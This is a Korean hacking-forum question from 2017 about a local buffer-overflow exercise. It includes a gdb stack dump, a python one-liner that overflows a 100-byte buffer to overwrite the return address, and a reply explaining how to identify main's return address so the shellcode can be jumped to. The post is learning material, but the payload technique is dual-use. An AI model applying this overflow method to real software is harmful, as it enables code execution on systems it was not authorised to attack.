시스템 해킹

 1576, 1/79 회원가입  로그인  
   ewqqw
   버퍼 오버플로우 관련

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1865 [복사]


Starting program: /home/realbof/realbof `python -c 'print "A"*100 + "\x7f\xfd\xff\xbf"'`

Breakpoint 1, 0x0804846e in main ()
(gdb) x/100wx $esp
0xbffff4d0:        0xbffff4ec        0xbffff753        0x02c0003f        0x00000000
0xbffff4e0:        0xbffff594        0xbffff508        0xbffff500        0x41414141
0xbffff4f0:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff500:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff510:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff520:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff530:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff540:        0x41414141        0x41414141        0x41414141        0x41414141
0xbffff550:        0xbffffd7f        0x00000000        0x00000000        0xb7e2fa83
0xbffff560:        0x00000002        0xbffff5f4        0xbffff600        0xb7feccea
0xbffff570:        0x00000002        0xbffff5f4        0xbffff594        0x0804a018
0xbffff580:        0x0804822c        0xb7fc1000        0x00000000        0x00000000
0xbffff590:        0x00000000        0x1256c241        0x28488651        0x00000000
0xbffff5a0:        0x00000000        0x00000000        0x00000002        0x08048350
0xbffff5b0:        0x00000000        0xb7ff2500        0xb7e2f999        0xb7fff000
0xbffff5c0:        0x00000002        0x08048350        0x00000000        0x08048371
0xbffff5d0:        0x0804844d        0x00000002        0xbffff5f4        0x08048490
0xbffff5e0:        0x08048500        0xb7fed180        0xbffff5ec        0x0000001c
0xbffff5f0:        0x00000002        0xbffff73d        0xbffff753        0x00000000
0xbffff600:        0xbffff7bc        0xbffff7cd        0xbffff7dd        0xbffff7e8
0xbffff610:        0xbffff80b        0xbffff81f        0xbffff832        0xbffff83f
0xbffff620:        0xbffffd60        0xbffffd6c        0xbffffe13        0xbffffe27
0xbffff630:        0xbffffe85        0xbffffe9c        0xbffffeab        0xbffffecc
0xbffff640:        0xbffffede        0xbffffeef        0xbffffef8        0xbfffff0b
0xbffff650:        0xbfffff13        0xbfffff28        0xbfffff38        0xbfffff6e

여기에서... ret주소를 어떻게 찾아내나요?? 100byte 짜리 변수입니다만...
환경변수에 쉘코드 집어넣고 ret에 뒤집에 씌울려고 하는데 뭐가 sfp고 뭐가 ret인지 몰라서 한참 헤매고 있네요... 조언부탁드립니다...
  Hit : 3021     Date : 2017/04/20 02:44


    
해쿨러 0xbffff540: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff550: 0xbffffd7f 0x00000000 0x00000000 0xb7e2fa83
여기서 0xb7e2fa83 이게 ret같습니다
main함수의 리턴어드레스는 라이브러리 주소입니다(__libc_start_main)
그래서 x/i 그 주소 했을 때 __libc_start_main+~~~ 가 나와야 하고 보통은 200이상입니다
그리고 그 주소 - 5, -4, -3, -2, -1 을 다 x/i해봤을때 call 인스트럭션이 나오면 그게 main함수가 호출되는 부분입니다		 2017/04/20  
ewqqw 해결되었습니다~~ 2017/04/21